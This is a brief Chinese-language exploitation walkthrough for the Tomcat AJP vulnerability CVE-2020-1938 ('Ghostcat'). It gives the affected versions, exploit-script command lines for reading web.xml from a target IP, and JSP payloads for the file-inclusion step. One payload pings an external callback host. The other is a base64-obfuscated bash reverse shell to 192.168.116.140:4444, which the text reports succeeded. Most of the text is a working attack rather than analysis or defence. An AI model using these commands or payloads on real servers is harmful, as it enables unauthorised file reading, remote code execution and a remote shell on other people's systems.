Tomcat文件包含及文件读取漏洞(CVE-2020-1938)
漏洞影响CVE-2020-1938
Apache Tomcat 9.x<9.0.31
Apache Tomcat 8.x<8.5.51
Apache Tomcat 7.x<7.0.100
Apache Tomcat 6.x
漏洞利用前提
目标机器开启AJP Connector服务端口(默认开启,为8009端口)
目标机器使用tomcat 并且开启了AJP服务端口。
漏洞利用
文件读取
服务器中的web.xml文件。
使用一下命令读取目标机器中的web.xml。命令如下:
python2 Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.116.133
这个漏洞只能读取webappps/ROOT目录下的所有文件。
文件包含
python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /test.txt 192.168.116.133
test.txt文件中的内容如下:
<% java.io.InputStream in = Runtime.getRuntime().exec("ping 90tz19.ceye.io").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
攻击结果:
反弹shell
写文件的命令。
shell.txt
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNi4xNDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
成功反弹shell。